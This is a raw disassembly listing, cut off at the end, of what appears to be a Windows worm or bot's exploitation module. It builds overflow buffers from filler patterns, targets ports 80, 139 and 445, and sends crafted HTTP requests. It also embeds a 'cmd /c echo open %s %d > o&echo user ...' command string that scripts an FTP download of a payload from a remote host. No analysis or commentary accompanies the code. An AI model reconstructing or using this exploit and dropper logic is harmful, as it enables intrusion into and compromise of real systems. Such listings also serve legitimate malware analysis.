sub_40CBC3 test al, al jz short loc_40CD63 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC8C call sub_40CB55 mov ecx, esi call sub_40CBAA mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD63: ; CODE XREF: sub_40CD2A+Fj pop esi leave retn sub_40CD2A endp ; =============== S U B R O U T I N E ======================================= sub_40CD66 proc near ; CODE XREF: sub_40CD85+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD1A test al, al jz short loc_40CD81 mov ecx, esi call sub_40CD2A loc_40CD81: ; CODE XREF: sub_40CD66+12j pop esi retn 8 sub_40CD66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD85 proc near ; CODE XREF: ___:0040D60Cp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB11 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0D9 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0D9 push esi lea ecx, [ebp+var_30] call sub_40CB11 lea ecx, [ebp+var_20] call sub_40CB11 lea ecx, [ebp+var_50] call sub_40CB11 lea ecx, [ebp+var_18] call sub_40CB11 lea ecx, [ebp+var_40] call sub_40CB11 lea ecx, [ebp+var_38] call sub_40CB11 lea ecx, [ebp+var_28] call sub_40CB11 push 4 push offset dword_432088 lea ecx, [ebp+var_30] call sub_40CCC9 push 3 push offset dword_432090 lea ecx, [ebp+var_30] call sub_40CCC9 lea ecx, [ebp+var_30] call sub_40CC4F lea ecx, [ebp+var_30] call sub_40CD2A mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BD10 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CCC9 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCC9 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCC9 lea ecx, [ebp+var_20] call sub_40CC4F push offset loc_43240C lea ecx, [ebp+var_50] call sub_40CCFD lea ecx, [ebp+var_50] call sub_40CC4F push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB1B lea ecx, [ebp+var_58] call sub_40CC4F push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD66 lea ecx, [ebp+var_58] call sub_40CBAA push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BD10 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CCFD push 4 push offset dword_432094 lea ecx, [ebp+var_18] call sub_40CCC9 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCC9 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCC9 lea ecx, [ebp+var_18] call sub_40CC4F push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD1A push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD1A lea ecx, [ebp+var_40] call sub_40CD2A lea ecx, [ebp+var_18] call sub_40CBAA lea ecx, [ebp+var_50] call sub_40CBAA push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD1A push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD1A push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD1A lea ecx, [ebp+var_38] call sub_40CD2A lea ecx, [ebp+var_20] call sub_40CBAA lea ecx, [ebp+var_30] call sub_40CBAA lea ecx, [ebp+var_40] call sub_40CBAA push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCC9 lea ecx, [ebp+var_28] call sub_40CC4F push 2 push offset dword_432400 lea ecx, [ebp+var_28] call sub_40CCC9 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD1A lea ecx, [ebp+var_28] call sub_40CD2A lea ecx, [ebp+var_38] call sub_40CBAA lea ecx, [ebp+var_10] call sub_40CB11 lea ecx, [ebp+var_8] call sub_40CB11 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD1A lea ecx, [ebp+var_10] call sub_40CBC3 lea ecx, [ebp+var_28] call sub_40CBAA push offset dword_4323FC lea ecx, [ebp+var_8] call sub_40CCFD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CBAA push offset dword_4323F8 lea ecx, [ebp+var_10] call sub_40CCFD push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD1A lea ecx, [ebp+var_10] call sub_40CBC3 lea ecx, [ebp+var_8] call sub_40CBAA push offset dword_4323EC lea ecx, [ebp+var_8] call sub_40CCFD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CBAA push (offset loc_4323E7+1) lea ecx, [ebp+var_48] call sub_40CCFD push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBAA mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D0E7 ; --------------------------------------------------------------------------- loc_40D0D9: ; CODE XREF: sub_40CD85+1Bj ; sub_40CD85+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D0E7: ; CODE XREF: sub_40CD85+352j pop edi pop ebx leave retn sub_40CD85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0EB proc near ; CODE XREF: sub_40D1AF+A1p ; sub_40D1AF+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40D152 lea eax, [ebp+var_10C] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D156 loc_40D152: ; CODE XREF: sub_40D0EB+54j xor eax, eax jmp short loc_40D166 ; --------------------------------------------------------------------------- loc_40D156: ; CODE XREF: sub_40D0EB+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4C931C loc_40D166: ; CODE XREF: sub_40D0EB+69j pop edi pop esi leave retn sub_40D0EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D16A proc near ; CODE XREF: sub_40D1AF+81p ; sub_40D1AF+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4C9300 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 4 jz short loc_40D194 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D194: ; CODE XREF: sub_40D16A+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4C9354 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D16A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1AF proc near ; CODE XREF: sub_40D289+48p ; ___:0040D707p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BC9B mov esi, eax pop ecx test esi, esi jnz short loc_40D1D8 xor al, al jmp loc_40D284 ; --------------------------------------------------------------------------- loc_40D1D8: ; CODE XREF: sub_40D1AF+20j push ebx push 0 push esi call sub_41BD10 push 2Fh push offset dword_432124 push esi call sub_41CAB0 push 8 lea eax, [esi+31h] push offset dword_432154 push eax mov [esi+2Fh], di call sub_41CAB0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CAB0 push 6 add ebx, edi push offset dword_4CC01C push ebx call sub_41CAB0 mov ebx, [ebp+arg_0] push 85h push offset dword_43209C push ebx call sub_40D16A add esp, 48h test al, al jnz short loc_40D240 loc_40D23C: ; CODE XREF: sub_40D1AF+B5j xor bl, bl jmp short loc_40D27B ; --------------------------------------------------------------------------- loc_40D240: ; CODE XREF: sub_40D1AF+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D0EB push [ebp+var_4] push esi push ebx call sub_40D16A add esp, 1Ch test al, al jz short loc_40D23C push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D0EB add esp, 10h mov bl, 1 loc_40D27B: ; CODE XREF: sub_40D1AF+8Fj push esi call sub_41BA31 pop ecx mov al, bl loc_40D284: ; CODE XREF: sub_40D1AF+24j pop edi pop esi pop ebx leave retn sub_40D1AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D289 proc near ; CODE XREF: ___:0040D6EDp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432160 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D2C4 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D0EB add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2C4 cmp [ebp+var_20], 82h jz short loc_40D2C8 loc_40D2C4: ; CODE XREF: sub_40D289+1Bj ; sub_40D289+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2C8: ; CODE XREF: sub_40D289+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1AF add esp, 0Ch leave retn sub_40D289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2DB proc near ; CODE XREF: sub_40D327+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427688 call sub_41CF04 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427680 fstp [esp+10h+var_10] call sub_41CDE5 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CF04 inc eax leave retn sub_40D2DB endp ; =============== S U B R O U T I N E ======================================= sub_40D327 proc near ; CODE XREF: sub_40D4C9+24p var_40 = qword ptr -40h mov eax, offset loc_426D63 call sub_41D3D0 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D968 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2DB cmp [ebp-2Ch], eax pop ecx jnb short loc_40D369 push edi push eax lea ecx, [ebp-38h] call sub_40D8E3 loc_40D369: ; CODE XREF: sub_40D327+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D486 mov ebx, [ebp+10h] loc_40D378: ; CODE XREF: sub_40D327+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D382 push 3 jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D382: ; CODE XREF: sub_40D327+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D38C push 2 jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D38C: ; CODE XREF: sub_40D327+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D395 push 1 loc_40D394: ; CODE XREF: sub_40D327+59j ; sub_40D327+63j pop ebx loc_40D395: ; CODE XREF: sub_40D327+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427698 fstp [esp+40h+var_40] call sub_41CF2B pop ecx pop ecx call sub_41CF04 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3D4 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3D4: ; CODE XREF: sub_40D327+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D442 add [ebp-18h], eax loc_40D426: ; CODE XREF: sub_40D327+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4321AC[eax] push eax push 1 call sub_40D765 inc esi cmp esi, [ebp-1Ch] jb short loc_40D426 loc_40D442: ; CODE XREF: sub_40D327+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D460 push dword ptr [ebp+14h] call sub_41B960 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7BE mov [ebp-18h], edi loc_40D460: ; CODE XREF: sub_40D327+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D47A sub esi, [ebp-1Ch] loc_40D46B: ; CODE XREF: sub_40D327+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D765 dec esi jnz short loc_40D46B loc_40D47A: ; CODE XREF: sub_40D327+13Fj cmp [ebp+10h], edi ja loc_40D378 push 1 pop ebx loc_40D486: ; CODE XREF: sub_40D327+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D968 push dword_427690 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D815 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D968 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D327 endp ; =============== S U B R O U T I N E ======================================= sub_40D4C9 proc near ; CODE XREF: ___:0040D6D0p mov eax, offset loc_426D80 call sub_41D3D0 sub esp, 10h push ebx push esi push edi push offset byte_43B4B8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D327 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BC9B mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D513 xor bl, bl jmp short loc_40D557 ; --------------------------------------------------------------------------- loc_40D513: ; CODE XREF: sub_40D4C9+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A0 cmp ecx, ebx jnz short loc_40D521 mov ecx, eax loc_40D521: ; CODE XREF: sub_40D4C9+54j cmp [ebp+18h], ebx jz short loc_40D529 mov eax, [ebp+18h] loc_40D529: ; CODE XREF: sub_40D4C9+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C100 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4C9354 cmp eax, esi jz short loc_40D54E xor bl, bl jmp short loc_40D550 ; --------------------------------------------------------------------------- loc_40D54E: ; CODE XREF: sub_40D4C9+7Fj mov bl, 1 loc_40D550: ; CODE XREF: sub_40D4C9+83j push edi call sub_41BA31 pop ecx loc_40D557: ; CODE XREF: sub_40D4C9+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D968 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D968 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_432358 push eax call sub_41CAB0 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4C9040 push eax push dword ptr [ebp+8] call sub_40A9FA pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_41C100 add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4321F0 push eax call sub_40CD85 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_40D62C xor eax, eax jmp loc_40D758 ; --------------------------------------------------------------------------- loc_40D62C: ; CODE XREF: ___:0040D623j mov [ebp-0Ch], esi loc_40D62F: ; CODE XREF: ___:0040D72Fj test esi, esi jnz loc_40D735 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D71D xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4C9304 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4C9344 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_40D712 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6DA mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D968 lea eax, [ebp+0Ch] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9A4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4C9 add esp, 1Ch jmp short loc_40D70F ; --------------------------------------------------------------------------- loc_40D6DA: ; CODE XREF: ___:0040D698j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D6F4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D289 jmp short loc_40D70C ; --------------------------------------------------------------------------- loc_40D6F4: ; CODE XREF: ___:0040D6E4j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D712 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1AF loc_40D70C: ; CODE XREF: ___:0040D6F2j add esp, 0Ch loc_40D70F: ; CODE XREF: ___:0040D6D8j movzx esi, al loc_40D712: ; CODE XREF: ___:0040D68Bj ; ___:0040D6FEj push ebx call dword_4C939C test esi, esi jnz short loc_40D728 loc_40D71D: ; CODE XREF: ___:0040D648j push 3E8h call near ptr 2690000h nop loc_40D728: ; CODE XREF: ___:0040D71Bj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D62F loc_40D735: ; CODE XREF: ___:0040D631j lea ecx, [ebp-8] call sub_40CBAA test esi, esi jz short loc_40D756 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40D756: ; CODE XREF: ___:0040D73Fj mov eax, esi loc_40D758: ; CODE XREF: ___:0040D627j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D44 loc_40D75D: ; CODE XREF: sub_426D44+3j ; ___:00426D5Dj ... push 1 call sub_40D968 retn ; END OF FUNCTION CHUNK FOR sub_426D44 ; =============== S U B R O U T I N E ======================================= sub_40D765 proc near ; CODE XREF: sub_40D327+110p ; sub_40D327+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D77F call sub_42657A loc_40D77F: ; CODE XREF: sub_40D765+13j test ebx, ebx jbe short loc_40D7B6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8E3 test al, al jz short loc_40D7B6 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BD10 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7B6: ; CODE XREF: sub_40D765+1Cj ; sub_40D765+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D765 endp ; =============== S U B R O U T I N E ======================================= sub_40D7BE proc near ; CODE XREF: sub_40D327+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7D8 call sub_42657A loc_40D7D8: ; CODE XREF: sub_40D7BE+13j test ebx, ebx jbe short loc_40D80D mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8E3 test al, al jz short loc_40D80D mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CAB0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D80D: ; CODE XREF: sub_40D7BE+1Cj ; sub_40D7BE+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D815 proc near ; CODE XREF: sub_40D327+17Cp ; sub_426490+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D82D call sub_426453 loc_40D82D: ; CODE XREF: sub_40D815+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D83F mov esi, [ebp+arg_8] loc_40D83F: ; CODE XREF: sub_40D815+25j cmp edi, ebx jnz short loc_40D861 push dword_427690 add esi, ecx mov ecx, edi push esi call sub_40D9D9 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9D9 jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D861: ; CODE XREF: sub_40D815+2Cj test esi, esi jbe short loc_40D8A4 cmp esi, eax jnz short loc_40D8A4 mov eax, [ebx+4] test eax, eax jnz short loc_40D875 mov eax, offset dword_4276A0 loc_40D875: ; CODE XREF: sub_40D815+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8A4 push 1 mov ecx, edi call sub_40D968 mov eax, [ebx+4] test eax, eax jnz short loc_40D890 mov eax, offset dword_4276A0 loc_40D890: ; CODE XREF: sub_40D815+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D8A4: ; CODE XREF: sub_40D815+4Ej ; sub_40D815+52j ... push 1 push esi mov ecx, edi call sub_40D8E3 test al, al jz short loc_40D8DA mov eax, [ebx+4] test eax, eax jnz short loc_40D8BE mov eax, offset dword_4276A0 loc_40D8BE: ; CODE XREF: sub_40D815+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CAB0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8DA: ; CODE XREF: sub_40D815+4Aj ; sub_40D815+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D815 endp ; =============== S U B R O U T I N E ======================================= sub_40D8E3 proc near ; CODE XREF: sub_40D327+3Dp ; sub_40D765+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D8F5 call sub_42657A loc_40D8F5: ; CODE XREF: sub_40D8E3+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D91E mov al, [ecx-1] cmp al, dl jz short loc_40D91E cmp al, 0FFh jz short loc_40D91E cmp edi, edx jnz short loc_40D959 dec al push edx mov [ecx-1], al loc_40D913: ; CODE XREF: sub_40D8E3+47j mov ecx, esi call sub_40D968 loc_40D91A: ; CODE XREF: sub_40D8E3+4Bj ; sub_40D8E3+52j xor al, al jmp short loc_40D963 ; --------------------------------------------------------------------------- loc_40D91E: ; CODE XREF: sub_40D8E3+19j ; sub_40D8E3+20j ... cmp edi, edx jnz short loc_40D937 cmp [esp+8+arg_4], dl jz short loc_40D92C push 1 jmp short loc_40D913 ; --------------------------------------------------------------------------- loc_40D92C: ; CODE XREF: sub_40D8E3+43j cmp ecx, edx jz short loc_40D91A mov [esi+8], edx mov [ecx], dl jmp short loc_40D91A ; --------------------------------------------------------------------------- loc_40D937: ; CODE XREF: sub_40D8E3+3Dj cmp [esp+8+arg_4], dl jz short loc_40D954 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D949 cmp eax, edi jnb short loc_40D961 loc_40D949: ; CODE XREF: sub_40D8E3+60j push 1 mov ecx, esi call sub_40D968 jmp short loc_40D959 ; --------------------------------------------------------------------------- loc_40D954: ; CODE XREF: sub_40D8E3+58j cmp [esi+0Ch], edi jnb short loc_40D961 loc_40D959: ; CODE XREF: sub_40D8E3+28j ; sub_40D8E3+6Fj push edi mov ecx, esi call sub_40DA40 loc_40D961: ; CODE XREF: sub_40D8E3+64j ; sub_40D8E3+74j mov al, 1 loc_40D963: ; CODE XREF: sub_40D8E3+39j pop edi pop esi retn 8 sub_40D8E3 endp ; =============== S U B R O U T I N E ======================================= sub_40D968 proc near ; CODE XREF: sub_40D327+1Fp ; sub_40D327+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D994 mov eax, [esi+4] test eax, eax jz short loc_40D994 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D98D cmp al, 0FFh jz short loc_40D98D dec al mov [ecx], al jmp short loc_40D994 ; --------------------------------------------------------------------------- loc_40D98D: ; CODE XREF: sub_40D968+19j ; sub_40D968+1Dj push ecx call sub_41D3EF pop ecx loc_40D994: ; CODE XREF: sub_40D968+8j ; sub_40D968+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D968 endp ; =============== S U B R O U T I N E ======================================= sub_40D9A4 proc near ; CODE XREF: ___:0040D6C4p ; sub_40DAFD+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8E3 test al, al jz short loc_40D9D2 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CAB0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9D2: ; CODE XREF: sub_40D9A4+12j mov eax, esi pop edi pop esi retn 8 sub_40D9A4 endp ; =============== S U B R O U T I N E ======================================= sub_40D9D9 proc near ; CODE XREF: sub_40D815+39p ; sub_40D815+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9EC call sub_426453 loc_40D9EC: ; CODE XREF: 